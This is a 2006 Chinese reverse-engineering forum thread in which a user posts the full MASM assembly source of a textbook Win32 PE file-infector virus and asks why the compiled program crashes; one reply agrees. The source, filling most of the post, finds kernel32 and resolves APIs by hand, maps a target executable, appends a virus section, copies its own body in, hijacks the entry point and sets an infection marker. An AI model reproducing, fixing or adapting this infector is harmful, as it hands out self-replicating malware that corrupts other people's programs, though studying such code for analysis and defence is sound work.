首页
社区
课程
招聘
有个病毒的示例程序,能生成.exe文件,不过运行出错,请教高手为什么出错
发表于: 2006-6-14 13:23 5434

有个病毒的示例程序,能生成.exe文件,不过运行出错,请教高手为什么出错

2006-6-14 13:23
5434
病毒程序是《Win32PE病毒原理分析》里面的示例程序,在masmV8下面可以生成.exe文件,(我用的是V8,别的我不知道能不能生成,没尝试过)
代码由4个文件组成,我帖上来(我还不能附加文件,抱歉)

主文件:VirusExp.asm
;========================================================================================
;《Win32PE病毒原理分析》例子程序
; 2006-06-14
;========================================================================================

.586
.model flat, stdcall
option casemap :none
include ..\INCLUDE\WINDOWS.INC
include ..\INCLUDE\comctl32.inc

includelib ..\LIB\comctl32.lib

GetApiA        proto        :DWORD,:DWORD

.CODE
;---------- 程序入口 --------------------------------------------------------------------
_Start0:
        invoke InitCommonControls        ;此处在win2000下必须加入
        jmp _Start
        VirusLen = vEnd - vBegin        ;Virus长度

;---------- 病毒代码开始位置,从这里到v_End的部分会附加在HOST程序中 -
vBegin:       
include s_api.asm ;查找需要的api地址

;---------- 以下为数据定义 ------------------------------------------
desfile        db "test.exe",0       
fsize        dd ?        ;
hFile        dd ?        ;
hMap        dd ?        ;
pMem        dd ?        ;

pe_Header        dd ?        ;
sec_align        dd ?        ;
file_align        dd ?        ;
newEip                dd ?        ;
oldEip                dd ?        ;
inc_size        dd ?        ;
oldEnd                dd ?        ;

;---------- 定义MessageBoxA函数名称及函数地址存放位置 ---------------
sMessageBoxA        db "MessageBoxA",0
aMessageBoxA        dd 0       

;---------- 作者定义的提示信息... -----------------------------------
sztit                db "By Hume,2002",0
szMsg0                db "Hey,Hope U enjoy it!",0
CopyRight        db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah

db "Thx for using it!",0dh,0ah
db "Contact: Humewen@21cn.com",0dh,0ah
db "humeasm.yeah.net",0dh,0ah
db "The add Code SiZe:(heX)"

val        dd 0,0,0,0

;---------- 病毒真正入口位置 ----------------------------------------
_Start:
        ;地址重定位值的获取
        call _delta
_delta:
        pop  ebp                                ;得到delta地址
        sub  ebp,offset _delta                        ;以便于后面变量重定位
        mov  dword ptr [ebp+appBase],ebp        ;在appBase保存重定位值

        ;获取kernel32模块地址
        mov  eax,[esp]
        xor  edx,edx
getK32Base:
        dec  eax                                                ;逐字节比较验证,速度比较慢,不过功能一样
        mov  dx,word ptr [eax+IMAGE_DOS_HEADER.e_lfanew]        ;就是ecx+3ch,找PE头的地址
        test dx,0f000h                                                ;假如找到了eax为kernel32模块的头地址,那么dx为文件的首地址
                                                                ;那么根据PE文件被装入内存时是按内存页对齐的这一特性
                                                                ;如果这个地址是页的其始地址,就进行下步判断
                                                                ;如果不是,那么这个地址就肯定不是PE文件的起始地址
                                                                ;一个页为4KB,就是说PE起始地址应该为XXXXX000的格式
        jnz  getK32Base
        ;mov  edx,dword ptr [eax+edx+34h];---
        cmp  eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
        ;cmp  eax,edx;---
        jnz  getK32Base                        ;看Image_Base(模块的建议装入地址)值是否等于ecx,即模块起始值
                                        ;这里判断kernel32模块的实际装入地址与PE头结构中的建议装入地址相等,就认为找到模块
        mov  [ebp+k32Base],eax                ;保存kernel32的起始地址

        ;循环读取各个api地址
        lea  edi,[ebp+aGetModuleHandle]        ;edi指向API函数地址存放位置的起始
        lea  esi,[ebp+lpApiAddrs]        ;esi指向API函数名字串偏移的起始地址
lop_get:
        lodsd                ;读取esi指向的函数名
        cmp    eax,0        ;判断函数是否搜索完毕
        jz     End_Get
        add    eax,ebp
        push   eax        ;此时eax中放着GetModuleHandleA函数名字串的偏移位置
        push   dword ptr [ebp+k32Base]
        call   GetApiA
        stosd                ;将地址存到edi指向区域
        jmp  lop_get
End_Get:
        call my_infect                ;获得各API函数地址后,开始调用感染模块
        include dislen.asm        ;该文件中代码用来显示病毒文件的长度

CouldNotInfect:
_where:
        xor   eax,eax       
        push  eax
        call  [ebp+aGetModuleHandle]        ;获得本启动(或HOST)程序的加载模块
        mov   esi,eax
        add   esi,[esi+3ch]                ;esi->程序本身的Pe_header
        cmp   dword ptr [esi+8],'dark'        ;判断是已经正在运行的HOST程序,还是启动程序?
        je    jmp_oep                        ;是HOST程序,控制权交给HOST
        jmp   _xit                        ;调用启动程序的退出部分语句
jmp_oep:
        add   eax,[ebp+oldEip]      
        jmp   eax                        ;跳到宿主程序的入口点

;--------------------------------------------------------------------
;感染部分,文件读写操作,Pe文件修改参见modipe.asm文件
my_infect:
        ;打开目标文件
        xor  eax,eax
        push eax
        push eax
        push OPEN_EXISTING                ;OPEN_EXISTING        equ 3
        push eax
        push eax
        push GENERIC_READ+GENERIC_WRITE        ;GENERIC_READ        equ 80000000h
                                        ;GENERIC_WRITE        equ 40000000h
        lea  eax,[ebp+desfile]        ;目标文件文件名字串偏移地址
        push eax
        call [ebp+aCreateFile]        ;打开目标文件
        inc  eax                ;如返回-1,则表示失败
        je   _Err
        dec  eax
        mov  [ebp+hFile],eax        ;返回文件句柄

        ;获取目标文件大小
        push eax
        sub  ebx,ebx
        push ebx
        push eax                       
        call [ebp+aGetFileSize]        ;得到文件大小
        inc  eax                ;如返回-1,则表示失败
        je   _sclosefile
        dec  eax
        mov  [ebp+fsize],eax

        ;创建映像文件
        xchg eax,ecx                ;ecx为文件大小
        add  ecx,1000h                ;文件大小增加4096bytes
        pop  eax                ;获取文件句柄
        xor  ebx,ebx
        push ebx                ;在CreateFileMapping函数的参数定义中,这个应该是映像文件名指针
        push ecx                ;映像文件大小等于原大小+Vsize,如果这里为0,那么大小和原文件相等
        push ebx         
        push PAGE_READWRITE
        push ebx
        push eax                ;原文件句柄
        call [ebp+aCreateFileMapping]
        test eax,eax                ;如返回0则说明出错
        je   _sclosefile        ;创建不成功,则跳转
        mov  [ebp+hMap],eax        ;保存映射对象句柄

        xor  ebx,ebx
        push ebx
        push ebx
        push ebx
        push FILE_MAP_WRITE   
        push eax
        call [ebp+aMapViewOfFile]
        test eax,eax                ; 映射文件,是否成功?
        je   _sclosemap                ;返回0说明函数调用失败   
        mov  [ebp+pMem],eax        ;保存内存映射文件首地址

;--------------------------------------------------------------------
;modipe.asm是给HOST添加新节的代码
;该文件中主要为感染目标文件的代码
;--------------------------------------------------------------------
include modipe.asm      

_sunview:
        push   [ebp+pMem]
        call   [ebp+aUnmapViewOfFile]        ;解除映射,同时修改过的映射文件全部写回目标文件
_sclosemap:
        push   [ebp+hMap]
        call   [ebp+aCloseHandle]        ;关闭映射

_sclosefile:
        push   [ebp+hFile]
        call   [ebp+aCloseHandle]        ;关闭打开的目标文件

_Err:
        ret
;--------------------------------------------------------------------
_xit:
        push   0
        call   [ebp+aExitProcess]        ;退出启动程序
vEnd:
end _Start0

;========================================================================================
;s_api.asm   start
;s_api.asm主要是查找api的相关函数模块,其代码如下:
;手动查找api部分
;K32_api_retrieve 过程的Base是DLL的基址,sApi为相应的API函数的函数名地址
;该过程返回eax为该API函数的序号

K32_api_retrieve proc Base:DWORD,sApi:DWORD
        push edx
        xor  eax,eax        ;eax用来充当循环记数,记录大循环(以api函数为记数单位)
Next_Api:               
        mov esi,sApi
        xor edx,edx        ;edx也用来充当循环记数,记录小循环(以api函数中的字母为记数单位)
        dec edx
Match_Api_name:
        movzx ebx,byte ptr [esi]        ;自己的函数名的第一个字母
        inc   esi                        ;自己的函数名地址+1(指向第二个字母)
        cmp   ebx,0                        ;是否已经比较到自己所定义的函数名结尾(以0表示结尾)
        je    foundit                        ;若是,则认为找到
        inc   edx                        ;
        push  eax                        ;将这个api函数的数组序号入栈
        mov   eax,[edi+eax*4]                ;edi是AddressOfNames的首指针+eax*4(eax为序号,而每个地址单元是4个字节存放)
        add   eax,Base                        ;注意是RVA,一定要加Base值(这个才是真正的系统函数名起始地址)
        cmp   bl,byte ptr [eax+edx]        ;逐字符比较   
        pop   eax
        je    Match_Api_name                ;继续搜寻
        inc   eax                        ;不匹配,下一个api
        loop  Next_Api
no_exist:
        pop   edx                        ;若全部搜完,即未存在
        xor   eax,eax
        ret
foundit:
        pop   edx                        ;edx=AddressOfNameOrdinals
        movzx eax,word ptr [edx+eax*2]        ;eax是函数名所对应的在AddressOfNameOrdinals的索引值
                                        ;AddressOfNameOrdinals指定的数组是word类型,所以eax*2
        ret
K32_api_retrieve endp

;--------------------------------------------------------------------
;Base是DLL的基址
;sApi为相应的API函数的函数名地址
;返回eax指向API函数地址
GetApiA        proc        Base:DWORD, sApi:DWORD
        local        ADDRofFun:DWORD
        pushad
        mov esi,Base
        mov eax,esi
        mov ebx,eax
        mov ecx,eax
        mov edx,eax
        mov edi,eax                ;几个寄存器全部置为DLL基址
        add ecx,[ecx+3ch]        ;现在esi=off PE_HEADER
        add esi,[ecx+78h]        ;得到esi=IMAGE_EXPORT_DIRECTORY引出表入口
        add eax,[esi+1ch]        ;eax=AddressOfFunctions的地址
        mov ADDRofFun,eax
        mov ecx,[esi+18h]        ;ecx=NumberOfNames
        add edx,[esi+24h]        ;edx=AddressOfNameOrdinals           
        add edi,[esi+20h]        ;esi=AddressOfNames

        ;调用另外一个过程,得到一个API函数序号
        invoke K32_api_retrieve,Base,sApi
       
        mov ebx,ADDRofFun
        mov eax,[ebx+eax*4]        ;要*4才得到偏移
        add eax,Base                ;加上Base
        mov [esp+7*4],eax        ;eax返回api地址                ;??????????
        popad
        ret
GetApiA endp

u32 db "User32.dll",0
k32 db "Kernel32.dll",0

appBase dd ?
k32Base dd ?

;---------- 以下是有关API函数地址和名称的相关数据定义 ---------------

lpApiAddrs label near         
;定义一组指向函数名字字符串偏移地址的数组
dd offset sGetModuleHandle
dd offset sGetProcAddress
dd offset sLoadLibrary
dd offset sCreateFile
dd offset sCreateFileMapping
dd offset sMapViewOfFile
dd offset sUnmapViewOfFile
dd offset sCloseHandle
dd offset sGetFileSize
dd offset sSetEndOfFile
dd offset sSetFilePointer
dd offset sExitProcess
dd 0,0        ;以便判断函数是否处理完毕

;下面定义函数名字符串,以便于和引出函数表中的相关字段进行比较
sGetModuleHandle   db "GetModuleHandleA",0   
sGetProcAddress    db "GetProcAddress",0
sLoadLibrary       db "LoadLibraryA",0
sCreateFile        db "CreateFileA",0
sCreateFileMapping db "CreateFileMappingA",0
sMapViewOfFile     db "MapViewOfFile",0
sUnmapViewOfFile   db "UnmapViewOfFile",0
sCloseHandle       db "CloseHandle",0
sGetFileSize       db "GetFileSize",0
sSetFilePointer    db "SetFilePointer",0
sSetEndOfFile      db "SetEndOfFile",0
sExitProcess       db "ExitProcess",0

;找到相应API函数地址后的存放位置
aGetModuleHandle   dd 0
aGetProcAddress    dd 0
aLoadLibrary       dd 0
aCreateFile        dd 0
aCreateFileMapping dd 0
aMapViewOfFile     dd 0
aUnmapViewOfFile   dd 0
aCloseHandle       dd 0
aGetFileSize       dd 0
aSetFilePointer    dd 0
aSetEndOfFile      dd 0
aExitProcess       dd 0

;s_api.asm   end
;========================================================================================

;========================================================================================
;modipe.asm   start
;用来在HOST程序中添加一个病毒节
;修改pe,添加节,实现传染功能

        xchg  eax,esi                        ;eax为在内存映射文件中的起始地址,它指向文件的开始位置
        cmp   word ptr [esi],'ZM'
        jne   CouldNotInfect
        add   esi,[esi+3ch]                ;指向PE_HEADER
        cmp   word ptr [esi],'EP'
        jne   CouldNotInfect                ;是否是PE,否则不感染
        cmp   dword ptr [esi+8],'dark'        ;已经感染,跳转
        je    CouldNotInfect

        ;计算内存映射文件中节表的最后位置(也就是要添加新节表的开始位置)
        mov   [ebp+pe_Header],esi        ;保存pe_Header指针
        mov   ecx,[esi+74h]                ;得到directory的数目
        imul  ecx,ecx,8                        ;每个数据目录信息占8个字节
        lea   eax,[ecx+esi+78h]                ;eax=节表起始地址(数据目录占用的字节数+PE文件的起始地址+Directory的偏移地址=节表起始位置)
        movzx ecx,word ptr [esi+6h]        ;节数目
        imul  ecx,ecx,28h                ;得到所有节表的大小(每个节表占用的字节数28H)
        add   eax,ecx                        ;节表结尾
        xchg  eax,esi                        ;eax=Pe_Header,esi=节表最后位置(一般来说并节的开始偏移,节具体的内容由节表中的节RVA指定 )

;**************************
;添加如下节:
;name .hum
;VirtualSize==原size+VirSize
;VirtualAddress=
;SizeOfRawData 对齐
;PointerToRawData
;PointerToRelocations dd 0
;PointerToLinenumbers dd ?   
;NumberOfRelocations  dw ?   
;NumberOfLinenumbers  dw ?
;Characteristics      dd ?
;**************************

        mov   dword ptr [esi],'muh.'                ;节名.hum
        mov   dword ptr [esi+08h],VirusLen        ;节的实际大小
        ;计算VirtualSize和V.addr
        mov   ebx,[eax+38h]               
        mov   [ebp+sec_align],ebx        ;节对齐,在内存中节的对齐粒度
        mov   edi,[eax+3ch]               
        mov   [ebp+file_align],edi        ;文件对齐,在文件中节的对齐粒度

        mov   ecx,[esi-28h+0ch]                ;上一节的V.addr,在节表结构中0ch处定义了节区的RVA地址
        mov   eax,[esi-28h+08h]                ;上一节的实际大小
        xor   edx,edx
        div   ebx                        ;除以节对齐(eax/ebx,eax=商,edx=余数)
        test  edx,edx                        ;若刚好除尽就不用+1了,若未除尽,那么剩下的内容还需要占用一个对齐粒度的容量
        je    @@@1
        inc   eax
@@@1:
        mul   ebx                                ;上一节在内存中对齐后的节大小(eax*ebx,eax=积)
        add   eax,ecx                                ;加上上一节的V.addr就是新节的起始V.addr
        mov   [esi+0ch],eax                        ;保存新节偏移RVA,这里的esi就意味着新节表的开头了
        add   eax,_Start - vBegin                ;病毒第一行执行代码,并不是在病毒节的起始处
        mov   [ebp+newEip],eax                        ;计算新的程序入口点(病毒程序入口点)
        mov   dword ptr [esi+24h],0E0000020h        ;节属性
        mov   eax,VirusLen                        ;计算SizeOfRawData的大小
        cdq                                        ;
        div   edi                                ;计算本节的文件对齐
        je    @@@2
        inc   eax
@@@2:
        mul   edi
        mov   dword ptr [esi+10h],eax                ;保存节对齐文件后的大小
        mov   eax,[esi-28h+14h]                        ;
        add   eax,[esi-28h+10h]                        ;上节在文件中偏移的值+上节文件中对齐后的尺寸
        mov   [esi+14h],eax                        ;本节表中(病毒节)PointerToRawData更新
        mov   [ebp+oldEnd],eax                        ;病毒代码往HOST文件中的写入点...;??????????????????????????????
        mov   eax,[ebp+pe_Header]
        inc   word ptr [eax+6h]                        ;更新节数目
        mov   ebx,[eax+28h]                        ;获取老的程序执行入口RVA
        mov   [ebp+oldEip],ebx                        ;保存老的程序入口
        mov   ebx,[ebp+newEip]                        ;就是取出原来保存的病毒程序执行开始点
        mov   [eax+28h],ebx                        ;将程序执行点改到病毒程序入口点

        ;更新ImageSize
        mov   ebx,[eax+50h]
        add   ebx,VirusLen
        mov   ecx,[ebp+sec_align]
        xor   edx,edx
        xchg  eax,ebx
        cdq
        div   ecx
        test  edx,edx
        je    @@@3
        inc   eax
@@@3:
        mul   ecx
        xchg  eax,ebx                        ;还原 eax->pe_Header
        mov   [eax+50h],ebx                ;保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度
        mov   dword ptr [eax+8],'dark'        ;病毒感染标志直接写到被感染文件的PE头中
        cld
        mov   ecx,VirusLen
        mov   edi,[ebp+oldEnd]
        add   edi,[ebp+pMem]
        lea   esi,[ebp+vBegin]
        rep   movsb                        ;将病毒代码写入目标文件新建的节中
        xor   eax,eax
        sub   edi,[ebp+pMem]
        push  FILE_BEGIN
        push  eax
        push  edi
        push  [ebp+hFile]
        call  [ebp+aSetFilePointer]        ;设定文件读写指针
        push  [ebp+hFile]
        call  [ebp+aSetEndOfFile]        ;将当前文件位置设为文件末尾
;modipe.asm   end
;========================================================================================

;========================================================================================
;disLen.asm   start
;用来显示前面定义的提示信息,其中包括病毒体的大小

        lea   eax,[ebp+u32]
        push  eax
        call  dword ptr [ebp+aLoadLibrary]                ;导入user32.dll链接库
        test  eax,eax
        jnz   @g1     
@g1:
        lea   edx,[ebp+sMessageBoxA]
        push  edx
        push  eax
        mov   eax,dword ptr [ebp+aGetProcAddress]        ;获取MessageBoxA函数的地址
        call  eax
        mov   [ebp+aMessageBoxA],eax
;--------------------------------------------------------------------
        mov   ebx,VirusLen
        mov   ecx,8
        cld
        lea   edi,[ebp+val]
L1:
        rol   ebx,4
        call  binToAscii
        loop  L1
        push  40h+1000h
        lea   eax,[ebp+sztit]
        push  eax
        lea   eax,[ebp+CopyRight]
        push  eax
        push  0
        call  [ebp+aMessageBoxA]
        jmp   _where
;--------------------------------------------------------------------
binToAscii   proc near        ;此函数用来将二进制转换为字符
        mov   eax,ebx
        and   eax,0fh
        add   al,30h
        cmp   al,39h
        jbe   @f
        add   al,7
@@:
        stosb
        ret
binToAscii   endp

;disLen.asm   start
;========================================================================================

但是生成的.exe文件运行时候,会出错,弹出对话框提示为
Unhandled exception in VirusExp.exe : 0xC0000005 : Access Violatoin

我在机器上装了vc,跳出一个调试界面,指向当前运行语句为 7C921230   INT  3

请高手帮帮忙啊

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 146
活跃值: (33)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
2
我的也是...我觉得还是要动态调试下真的病毒,或许更加能理解
2006-6-16 13:44
0
游客
登录 | 注册 方可回帖
返回
//